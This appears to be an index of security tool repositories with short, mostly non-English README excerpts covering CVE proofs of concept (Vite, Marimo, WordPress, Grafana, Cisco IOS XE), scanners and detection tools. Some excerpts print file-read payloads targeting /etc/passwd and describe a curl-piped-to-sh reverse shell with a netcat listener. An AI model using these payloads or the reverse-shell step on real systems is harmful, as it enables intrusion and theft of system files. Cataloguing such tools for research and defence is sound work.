ViteVulScan

ViteVulScan 취약점 소개 이 프로젝트는 3개의 취약점인 CVE-2025-30208/CVE-2025-31125/CVE-2025-31486을 다룹니다. 모두 Vite 개발 서버의 임의 파일 읽기 취약점으로, 적용 범위가 넓고 제한 없이 쉽게 악용할 수 있습니다. 취약점 POC: CVE-2025-30208: Windows: /@fs/C://Windows/win.ini?import&raw?? Linux: /@fs/etc/passwd?import&raw?? CVE-2025-31125 Windows:...

CVE-2026-39987

CVE-2026-39987 エクスプロイトPOC 概要 このリポジトリには、Marimoにおける認証前リモートコード実行（RCE）の脆弱性であるCVE-2026-39987用の概念実証（POC）スクリプトが含まれています。このエクスプロイトはWebSocketエンドポイントを利用して、対象システム上で任意のコマンドを実行します。 脆弱性の詳細 CVE ID : CVE-2026-39987 影響を受けるコンポーネント : ターミナルWebSocketエンドポイント（/terminal/ws） 影響 : 認証なしでの不正なリモートコード実行 影響を受けるバージョン : -c ""...

CVE-2025-5394

CVE-2025-5394 – WordPress Alone 테마 = 7.8.3 - 인증되지 않은 임의 파일 업로드를 통한 플러그인 설치 🔥 취약점 요약 WordPress 테마 Alone 버전 = 7.8.3은 인증되지 않은 임의 파일 업로드 취약점에 영향을 받습니다. 이 결함으로 인해 인증되지 않은 공격자 가 보호되지 않은 AJAX 엔드포인트를 통해 원격 URL에서 임의의 플러그인 ZIP 파일을 업로드하고 설치할 수 있으며, 결과적으로 백도어가 포함된 플러그인을 배포하여 원격 코드 실행RCE이 가능합니다. 이 취약점은...

santamon

Santamon 경량 macOS 탐지 사이드카로, Santa와 함께 동작하며 Endpoint Security 텔레메트리를 CEL 규칙으로 로컬에서 평가하고, 매칭된 탐지 신호만 백엔드 서버로 전달합니다. 실험적 단계. 홈 랩 및 소규모 플릿용으로 제작되었습니다. 초기 릴리스 – 버그 및 API 변경이 있을 수 있습니다. 기능 설명 Santamon은 Santa의 protobuf 텔레메트리 스트림을 읽고, CEL 표현식을 사용하여 탐지 규칙을 평가한 후, 보안 신호를 백엔드로 전송합니다. 원시 텔레메트리는 엔드포인트에 남으며, 탐...

NTLMRecon

개요 NTLMRecon은 Sachin KamathAKA pwnfoo가 작성한 원본 NTLMRecon 유틸리티의 Golang 버전입니다. NTLMRecon을 활용하여 대상 웹서버에 대한 무차별 대입을 수행하고 NTLM 인증을 지원하는 일반적인 애플리케이션 엔드포인트를 식별할 수 있습니다. 여기에는 Exchange Web Services 엔드포인트와 같은 엔드포인트가 포함되며, 이는 종종 다중 인증을 우회하는 데 활용될 수 있습니다. 이 도구는 노출된 NTLM 인증 엔드포인트에서 컴퓨터 이름, Active Directory 도메인...

wp2shell-poc

wp2shell-poc Searchlight Cyberのwp2shellアドバイザリに関連する、認証不要のWordPress RESTバッチルート混乱SQLインジェクションの独立した概念実証です。 このリポジトリはSearchlight Cyberの公式チェッカーではありません。checkはSQLiパスを確認し、readはデータベース読み取りを実行し、shellは管理者認証情報を指定するか、最初にSQLi-to-adminブリッジを実行して、プラグインベースのコマンドシェルを開きます。 影響を受けるバージョン Searchlight Cyberのアドバイザリは、以下のwp2shel...

EDR-Telemetry

EDR Telemetry 📖 概要 EDR製品とSysmonなどのエンドポイントエージェントが提供するテレメトリ機能を包括的に比較します。このプロジェクトは、セキュリティ実務者がテレメトリ機能を評価できるようにするとともに、ベンダーの透明性を促進します。 🌐 完全な比較と分析については、ウェブサイトをご覧ください 。 📝 このプロジェクトの詳細は、初回リリースのブログ記事でご覧いただけます。 🎯 主な機能 複数のEDRソリューションにわたる包括的なテレメトリ比較 機能評価のための詳細なスコアリングシステム 最新の機能を反映した定期的な更新 コミュニティ主導のコントリビューションと検証 ...

SEP-14.2-Arbitrary-Write

CVE-2020-5837 익스플로잇 분석 글은 RedyOps Labs 블로그에서 확인할 수 있습니다: https://labs.redyops.com/index.php/2020/04/27/symantec-endpoint-protection-sep-14-2-eop-via-arbitrary-write/ 타사 도구 이 익스플로잇 코드는 James Forshaw가 개발한 symboliclink-testing-tools에 크게 기반하고 있습니다. symboliclink-testing-tools은는 여기에서 찾을 수 있습니다:...

cve-2019-12750

Symantec 로컬 권한 상승 - CVE-2019-12750 Kyriakos Economou의 훌륭한 글을 기반으로 합니다: https://labs.nettitude.com/blog/cve-2019-12750-symantec-endpoint-protection-local-privilege-escalation-part-1/ 현재는 x64 및 구형 Windows 버전만 지원됩니다...

CVE-2025-30208-ViteVulnScanner

CVE-2025-30208-ViteVulnScanner Yo, 이건 keklick1337이 만든 멀티스레드 Python 스크립트로, Vite에서 CVE-2025-30208에 취약한 도메인을 찾아내는 거야. 기본적으로 @fs 엔드포인트에 ?raw?? 또는 ?import&raw??를 붙여서 임의 파일을 빼낼 수 있는지 확인해 — /etc/passwd 유출 같은 쩌는 것들 말이지. 멍청한 응답에 시간 낭비하지 않도록 똑똑한 false-positive 필터링도 있고, 결과 출력 방식을 조정할 수 있는 옵션도 있어. 어떤 기능이 있지?...

wpjuicer

wpjuicer WP Juicer 도구는 WordPress 엔드포인트에서 기밀 정보를 빠르게 스캔하는 도구입니다. 이 스크립트는 WordPress 전용으로, 프레임워크 엔드포인트에서 민감한 정보를 찾고, 상세한 결과를 제공하여 인식 및 데이터 추출을 돕습니다. 이 도구의 주요 목적은 감사 목적에 유용한 정보를 발견하는 과정을 간소화하고 가속화하는 것입니다. 엔드포인트를 검색하고, 사용자를 나열하며, WordPress 버전을 확인하고, 압축되거나 숨겨진 파일을 찾습니다. Go가 설치 및 구성되어 있다면 즉, $GOPATH/bin...

WhiteBeam

투명한 엔드포인트 보안 기능 고급 공격 차단 및 탐지 최신 감사된 암호화: 해싱 및 암호화를 위한 RustCrypto 높은 호환성: 모든 플랫폼레거시 포함 및 아키텍처에 초점을 맞춘 개발 소스 공개: 감사 환영 합계 100년 이상의 경험을 가진 보안 연구원들이 검토함 실제 작동 탐지 및 차단 기능 비디오 데모 제로데이 익스플로잇에 대한 WhiteBeam 테스트 WhiteBeam 허니팟에 대한 기록된 공격 설치 WhiteBeam은 현재 0.3 버전의 하위 호환되지 않는 보안 개선으로 인해 설치할 수 없습니다. 곧 다시 확인하세요...

CVE-2021-43798

CVE-2021-43798 Grafana 임의 파일 읽기 8.0.0 8.3.0 Grafana 8.0.0 8.3.0 버전의 취약점CVE-2021-43798으로, 인증되지 않은 공격자가 /public/plugins/ 경로를 대상으로 하는 경로 탐색path traversal을 악용하여 서버에서 임의의 파일을 읽고 시스템의 민감한 파일에 접근할 수 있습니다. 사용법 python3 exploit.py --domain --port 1. 스크립트는 자동으로 잠재적으로 취약한 경로 목록을 테스트합니다. 2. 대화형 셸: 취약한 엔드포인트를...

Cisco-IOS-XE-CVE-2023-20198

Cisco-IOS-XE-CVE-2023-20198 CVE-2023-20198용 Exploit PoC 취약점 정보 및 익스플로잇 사용법은 smokeintheshell이 제공함 참고 자료 참조 엔드포인트, HTTP 콘텐츠 유형 및 헤더 관리는 기존의 다른 PoC에서 수정되어 다른 익스플로잇이 실패하는 상황에서도 작동합니다. 설명 CVE-2023-20198은 부적절한 경로 검증으로 인해 인증 없이 Nginx 필터링을 우회하여 webuiwsmahttp 웹 엔드포인트에 도달할 수 있는 취약점입니다. 엔드포인트에 대한 인증을 우회하면...

xepor

Xepor Xepor pronounced /ˈzɛfə/ , zephyr is a web routing framework for reverse engineers and security researchers. It provides a Flask-like API for hackers to intercept and modify HTTP requests and/or HTTP responses in a human-friendly coding style. This project is meant to be used with mitmproxy...

CVE-2026-105307

A vulnerability was detected in Casdoor up to 3.161.1. Affected is the function ApiFilter of the file routers/authzfilter.go of the component API Endpoint. Performing a manipulation results in missing authentication. The attack can be initiated remotely. The exploit is now public and may be used...

CVE-2025-2539

CVE-2025-2539 PoC WordPress File Away 플러그인 ≤ 3.9.9.0.1 용 인증되지 않은 임의 파일 읽기 익스플로잇 📖 설명 이 Python 스크립트는 CVE-2025-2539 에 대한 개념 증명PoC 익스플로잇으로, WordPress File Away 플러그인 ≤ 3.9.9.0.1 의 취약점을 대상으로 합니다. 이 취약점은 인증되지 않은 공격자가 적절한 인증 확인 없이 노출된 플러그인 엔드포인트를 통해 서버에서 임의의 파일을 읽을 수 있게 합니다. 📌 사용법 ▶️ 요구 사항: Python 3...

reverse-shell

reverse-shell 리버스 셸 서비스 - https://reverse-shell.sh 기억하기 쉬운 리버스 셸로, 대부분의 유닉스 계열 시스템에서 작동합니다. 대상에서 사용 가능한 소프트웨어를 감지하고 적절한 페이로드를 실행합니다. 사용법 1. 연결 대기 자신의 머신에서 포트를 열고 대기합니다. netcat으로 쉽게 할 수 있습니다. nc -l 1337 2. 대상에서 리버스 셸 실행 대상 머신에서 https://reverse-shell.sh/yourip:port의 출력을 sh로 파이프합니다. curl...

CVE-2025-20029-simulation

🔐 재현 가능한 공격 시뮬레이션 – CVE-2025-20029 ⚠️ 이 저장소는 안전하고 통제된 환경 에서 CVE-2025-20029를 시뮬레이션합니다. 실제 F5 BIG-IP 시스템과 상호작용하거나 프로덕션 서비스를 악용하지 않습니다. 목적은 교육적입니다: 취약점 패턴을 연구하고 페이로드를 안전하게 테스트하는 것입니다. 🛠 CVE-2025-20029 정보 CVE-2025-20029는 F5 BIG-IP 시스템에 영향을 미치는 높은 심각도의 명령 주입 취약점입니다. 이 문제는 iControl REST API 에 있으며, 특정...

xnLinkFinder

소개 - v8.2 이 도구는 엔드포인트를 발견하고, 잠재적인 파라미터를 발견하며, 대상별 단어 목록을 생성하고, 주어진 대상에 대한 비밀을 찾는 데 사용됩니다. 다음 방법으로 찾을 수 있습니다: 대상 크롤링 도메인/URL 전달 여러 대상 크롤링 도메인/URL 파일 전달 지정된 디렉토리에서 파일 검색 디렉토리 이름 전달 단일 파일 내용 검색 Burp 프로젝트에서 가져오기 Burp XML 파일 위치 전달 ZAP 프로젝트에서 가져오기 ZAP ASCII 메시지 파일 위치 전달 Caido 프로젝트에서 가져오기 Caido 내보내기 CSV...